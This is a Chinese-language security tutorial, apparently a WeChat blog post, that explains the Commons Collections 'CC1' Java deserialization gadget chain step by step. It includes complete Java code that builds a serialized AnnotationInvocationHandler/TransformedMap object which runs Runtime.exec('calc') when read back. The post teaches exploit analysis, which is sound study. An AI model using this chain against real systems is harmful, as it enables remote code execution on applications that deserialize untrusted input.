阔别了这么长时间
不知道大家有没有想表哥们呢
废话不多说,赶紧看看
表哥这周带来的新知识吧!!
JAVA CC1
环境准备
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
java反序列化时会调用readObject方法,而且很多类的readObject方法是自己重写的。也就是说只要我们经过一系列的链式调用 将危险函数包装到readobject中即可达到目的
1.利用反射调用计算器
一个反射调用计算器
1getRuntime():其实就是Runtime类获取对象的方式,等于new一个Runtime类。之所以封装成一个函数是为了不调用一次建立一个对象,只获取一个对象来执行操作。
入口
1.InvokerTransformer.transform()
1public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
2 this.iMethodName = methodName;
3 this.iParamTypes = paramTypes;
4 this.iArgs = args;
5}
参数分别为 参数名(exec),参数类型(string),参数值(calc)
transform的参数为调用对象
我们先用危险方法来进行一次命令执行调用计算器
成功调用
2.寻找一个其他类,调用了transform方法
1protected Object checkSetValue(Object value) {
2 return this.valueTransformer.transform(value);
3}
发现了checksetvalue方法调用了transform让我们跟进方法。
发现该方法为Transformedmap类中的一个方法。要调用checksetvalue首先得获得一个Transformedmap类
因此寻找transformedmap的构造方法
1protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
2 super(map);
3 this.keyTransformer = keyTransformer;
4 this.valueTransformer = valueTransformer;
5}
这里有三个点
1.该方法为protect方法,去要寻找谁调用了他
2.super(map)继承了map
3.让我们构造的恶意类变成valueTransformer (checksetvalue调用的是valueTransformer的transform方法)
1.先寻找谁调用了它
1public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
2 return new TransformedMap(map, keyTransformer, valueTransformer);
3}
我们发现他的 "new" 是在map的一个函数调用的发现是map的decorate方法中会将传入的 参数进行初始化为transformedmap构造,并且将第三个参数变为valueTransformer
因此我这里找一个map作为辅助。
1public class cc1_test {
2 public static void main(String[] args) throws Exception {
3
4// Runtime runtime = Runtime.getRuntime();
5 Runtime r= Runtime.getRuntime();
6// Class c =Runtime.class;
7// Method execmethod =c.getMethod("exec",String.class);
8// execmethod.invoke(r,"calc");
9 InvokerTransformer invokerTransformer= (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
10 HashMap<Object,Object> map= new HashMap<Object,Object>();
11 TransformedMap.decorate(map,null,invokerTransformer);
12 }
13}
此时invokerTransformer就变成了valueTransformer
2.想办法调用他的 checksetvalue方法
我们发现transformedmap是继承了一个他的父类
AbstractInputCheckedMapDecorator。我们跟进一下看看他的父类有没有调用checkSetValue()
checkSetValue()方法只在抽象类AbstractInputCheckedMapDecorator的静态内部类MapEntry的setValue()方法中进行了调用:
1abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
2 protected AbstractInputCheckedMapDecorator() {
3 }
4
5 protected AbstractInputCheckedMapDecorator(Map map) {
6 super(map);
7 }
8
9 protected abstract Object checkSetValue(Object var1);
10
11 protected boolean isSetValueChecking() {
12 return true;
13 }
14 public Set entrySet() {
15 return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());
16 }
17
18 static class MapEntry extends AbstractMapEntryDecorator {
19 private final AbstractInputCheckedMapDecorator parent;
20
21 protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
22 super(entry);
23 this.parent = parent;
24 }
25
26 public Object setValue(Object value) {
27 value = this.parent.checkSetValue(value);
28 return super.entry.setValue(value);
29 }
30 }
因此我们寻找谁调用了setvalue,进一步调用checksetvalue。将上半部分代码找出我们想要的
1static class MapEntry extends AbstractMapEntryDecorator {
2 private final AbstractInputCheckedMapDecorator parent;
3
4 protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
5 super(entry);
6 this.parent = parent;
7 }
8
9 public Object setValue(Object value) {
10 value = this.parent.checkSetValue(value);
11 return super.entry.setValue(value);
12 }
13}
发现MapEntry调用的setvalue方法
这里简单说一下,我们知道 Map 是用来存放键值对的,HashMap 中一对 k-v 是存放在 HashMap$Node 中的,而 Node 又实现了 Entry 接口,所以可以粗略地认为 k-v 是存放在 Entry 中的,遍历 Map 时,可以通过 entrySet()方法获取到一对对的 k-v(Map.Entry 类型)。通过遍历 TransformedMap,再使用 setValue()传入我们的对象。
这里我们用代码解释一下
1Runtime r =Runtime.getRuntime;
2InvokerTransformer invokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
3HashMap<Object,Object> map= new HashMap<Object,Object>();
4map.put("aaa","bbb");
5Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,invokerTransformer);
6for(Map.Entry entry:transformedMap.entrySet()){
7 entry.setValue(r);
8}
我们逐个分析
1Map.Entry entry:transformedMap.entrySet()//这个是java遍历map的基础用法,也是固定用法
2//相当于将键值对拿出来了,而我们的危险操作在上边的步骤中已经成为了map的一个键值对中的value值
1public Object setValue(Object value) {
2 value = this.parent.checkSetValue(value);
3 return super.entry.setValue(value);
4 }//此时我们把r放到参数中就会调用checkSetValue,达到我们的预期目的。
1public class cc1_test {
2 public static void main(String[] args) throws Exception {
3
4// Runtime runtime = Runtime.getRuntime();
5 Runtime r= Runtime.getRuntime();
6// Class c =Runtime.class;
7// Method execmethod =c.getMethod("exec",String.class);
8// execmethod.invoke(r,"calc");
9 InvokerTransformer invokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
10 HashMap<Object,Object> map= new HashMap<Object,Object>();
11 map.put("aaa","bbb");//要遍历必须赋值
12 Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,invokerTransformer);
13 for(Map.Entry entry:transformedMap.entrySet()){
14 entry.setValue("r");
15 }
这时候我们只需要找到一个能够遍历数组的方法,而这个方法如果是readobject就再好不过了
我们找到了AnnotationInvokerHandler中readobject类调用了一个遍历数组的方法
1private void readObject(java.io.ObjectInputStream s)
2 throws java.io.IOException, ClassNotFoundException {
3 s.defaultReadObject();
4
5 // Check to make sure that types have not evolved incompatibly
6
7 AnnotationType annotationType = null;
8 try {
9 annotationType = AnnotationType.getInstance(type);
10 } catch(IllegalArgumentException e) {
11 // Class is no longer an annotation type; time to punch out
12 throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
13 }
14
15 Map<String, Class<?>> memberTypes = annotationType.memberTypes();
16
17 // If there are annotation members without values, that
18 // situation is handled by the invoke method.
19 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
20 String name = memberValue.getKey();
21 Class<?> memberType = memberTypes.get(name);
22 if (memberType != null) { // i.e. member still exists
23 Object value = memberValue.getValue();
24 if (!(memberType.isInstance(value) ||
25 value instanceof ExceptionProxy)) {
26 memberValue.setValue(
27 new AnnotationTypeMismatchExceptionProxy(
28 value.getClass() + "[" + value + "]").setMember(
29 annotationType.members().get(name)));
30 }
31 }
32 }
33}
首先查看一下构造函数
1AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
2 Class<?>[] superInterfaces = type.getInterfaces();
3 if (!type.isAnnotation() ||
4 superInterfaces.length != 1 ||
5 superInterfaces[0] != java.lang.annotation.Annotation.class)
6 throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
7 this.type = type;
8 this.memberValues = memberValues;
9}
首先是一个type是class对象,第二个是map这里我们就可以进行控制。
第一个tpye是class类型是继承了Annotation(注解),
但是有个问题,就是这个构造函数并不是public类型,默认就是protect类型,而我们不在这个包下就只能通过反射来获取我们先解决这个问题
1public class cc1_test {
2 public static void main(String[] args) throws Exception {
3
4// Runtime runtime = Runtime.getRuntime();
5 Runtime r= Runtime.getRuntime();
6// Class c =Runtime.class;
7// Method execmethod =c.getMethod("exec",String.class);
8// execmethod.invoke(r,"calc");
9 InvokerTransformer invokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
10 HashMap<Object,Object> map= new HashMap<Object,Object>();
11 map.put("aaa","bbb");
12 Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,invokerTransformer);
13 for(Map.Entry entry:transformedMap.entrySet()){
14 entry.setValue(r);
15 }
16 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
17 Constructor annotationInvocationHandler=c.getDeclaredConstructor(Class.class,Map.class);
18 annotationInvocationHandler.setAccessible(true);
19 annotationInvocationHandler.newInstance(Override.class,transformedMap);
但是现在有几个问题
runtime没有seralize接口不能反序列化但是他的class可以序列化
我们重新写一下,利用反射来写runtime,但是比较特殊的是runtime对象不能通过newinstance,我们可以对比一下,一般的反射和特殊的反射
1//这应该注意下runtime方法的实例化与其他对象实例化是不同的,因为他无法newinstance
2
3import java.lang.reflect.Method;
4public class ReflectTest {
5 public void reflectMethod() {
6 System.out.println("反射测试成功!!!");
7 }
8
9 public static void main(String[] args) {
10 try {
11 Class c = Class.forName("com.reflect.ReflectTest"); // 创建Class对象Object
12 m = c.newInstance(); // 创建类实例对象Method
13 method = c.getMethod("reflectMethod"); // 获取reflectMethod方法
14 method.invoke(m); // 调用类实例对象方法
15 } catch (Exception e) {
16 e.printStackTrace();
17 }
18 }
19}
20
21
22
23Class c = Runtime.class;
24Method getruntimemethod = c.getMethod("getRuntime", null);
25Runtime r = (Runtime) getruntimemethod.invoke(null, null);//静态方法所以第一个为null ,无参方法第二个为null 这里使用了getruntime方法来实例化了一个对象r
26Method execmethod = c.getMethod("exec", String.class);
27execmethod.invoke(r, "calc");
之后我们一步一步修改利用InvokerTransformer来一步步转化
1Method getRuntimeMethod=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
2// Class c = Runtime.class;
3//Method getruntimemethod =c.getMethod("getRuntime",null);
4
5
6
7
8Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
9//Runtime r = (Runtime) getruntimemethod.invoke(null, null);获得一个对象
10
11
12
13
14new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
15//Method execmethod = c.getMethod("exec", String.class);
16//execmethod.invoke(r, "calc");
从上边我们发现这里经过了一个循环调用,也就是第一个函数的结果变成了第二个函数的参数
这里是循环调用正好有一个transformedmap方法
1public ChainedTransformer(Transformer[] transformers) {
2 this.iTransformers = transformers;
3}
4
5public Object transform(Object object) {
6 for(int i = 0; i < this.iTransformers.length; ++i) {
7 object = this.iTransformers[i].transform(object);
8 }
9
10 return object;
11}
循环调用刚好满足我们对以上的需求于是我们改一下代码
1Transformer[] transformers=new Transformer[]{
2 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
3 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
4 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
5};
6 ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
7 chainedTransformer.transform(Runtime.class);//这里Runtime,class是要我们控制的
第二个问题是
之后我们将之前的map放回来AnnotationInvocationHandler是在sun包下的,所以这里我们利用这个反射来获得一个对象。
1HashMap map = new HashMap<>(); map.put("key", "value");
2Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
3Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = c1.getDeclaredConstructor(Class.class,Map.class);
4annotationConstructor.setAccessible(true);
5 Object o = annotationConstructor.newInstance(Override.class, transformedMap);
6 serialize(o);
7 unserialize("ser.bin");
最终代码
1public class cc1_test {
2 public static void main(String[] args) throws Exception {
3 Transformer[] transformers=new Transformer[]{
4 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
5 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
6 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
7 };
8 ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
9 chainedTransformer.transform(Runtime.class);//这里Runtime,class是要我们控制的
10 HashMap map = new HashMap<Object,Object>();
11 map.put("key", "aaa");
12 Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
13 Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandle r");
14 Constructor annotationConstructor = c1.getDeclaredConstructor(Class.class,Map.class);
15 annotationConstructor.setAccessible(true);
16 Object o = annotationConstructor.newInstance(Override.class, transformedMap);
17 serialize(o);
18 unserialize("ser.bin");
19 }
20
21 public static void serialize(Object obj) throws IOException {
22 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
23 oos.writeObject(obj);
24 }
25
26 public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
27 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
28 return ois.readObject();
29 }
30}
注意看第九行,我们想办法控制这个runtime类,因为我们在做题目时肯定无法传进去,最理想的是在数组封装的时候就把他传进去
我们发现了一个新的类 ConstantTransformer
我们跟进看一下
1public ConstantTransformer(Object constantToReturn) {
2 this.iConstant = constantToReturn;
3}
也就是传入什么生成什么,那我们传进去一个runtime类就给我们一个runtime类,我们把它放到之前开的transform数组中,就达成了封闭的目的
1Transformer[] transformers=new Transformer[]{
2 new ConstantTransformer(Runtime.class),
3 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
4 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
5 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
6 };
7 ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
8// chainedTransformer.transform(Runtime.class);这里Runtime,class是要我们控制的
9 HashMap map = new HashMap<Object,Object>();
10 map.put("value", "aaa");
11 Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
12
13 Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
14 Constructor annotationConstructor = c1.getDeclaredConstructor(Class.class,Map.class);
15 annotationConstructor.setAccessible(true);
16 Object o = annotationConstructor.newInstance(Override.class, transformedMap);
17 serialize(o);
18 unserialize("ser.bin");
19 }
结果发现还是无法执行命令。
让我们debug一下看一下到哪里发生了
我们看到在最后的readobject方法中有一个if条件看一下能不能进去
1for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
2 String name = memberValue.getKey();
3 Class<?> memberType = memberTypes.get(name);
4 if (memberType != null) { // i.e. member still exists
5 Object value = memberValue.getValue();
6 if (!(memberType.isInstance(value) ||
7 value instanceof ExceptionProxy)) {
8 memberValue.setValue(
9 new AnnotationTypeMismatchExceptionProxy(
10 value.getClass() + "[" + value + "]").setMember(
11 annotationType.members().get(name)));
12 }
13 }
14}
发现
1String name = memberValue.getKey();
2Class<?> memberType = memberTypes.get(name);
3if (memberType != null) { }
先是通过membervalue获得键值对key 然后再membertype中查找key并赋值给membertype,但是membertype是null的
我们看一下membervalue是从哪里获取到的.
type其实就是我们的overide参数,,然后获取override的成员变量
但是我们找到的override没有成员变量
现在我们来捋一下
1for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
2 String name = memberValue.getKey();
1.首先通过键值对来获得这个membervalue的key,也就是说是hashmap的那个key
1Class<?> memberType = memberTypes.get(name);
2.在membertypes里查找这个key,也就是从这个注解(Override)里边查找这个key,但是Override里的是空的,根本没有成员所以key就是空的
我们到这解决首先找一个有成员方法的membertypes,
Target里边有一个成员方法value我们将Override换成Target
解决第二个问题hashmap的key要和我们Target的key是一个key才行我们。Target的成员名字叫做value。那我们把名字改了。
1map.put("key", "aaa");
这是我们第一次放的map我们将map的value内容改为value就解决了上边的问题
1map.put("value", "aaa");
成功
不知道这期的新知识你有没有学会呢?
多动手 多发问 勤思考
我们下期再见啦!!
想学习更多知识
长按下方的二维码关注我们哦
原文始发于微信公众号(SKSEC):【表哥有话说 第85期】JAVA CC1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论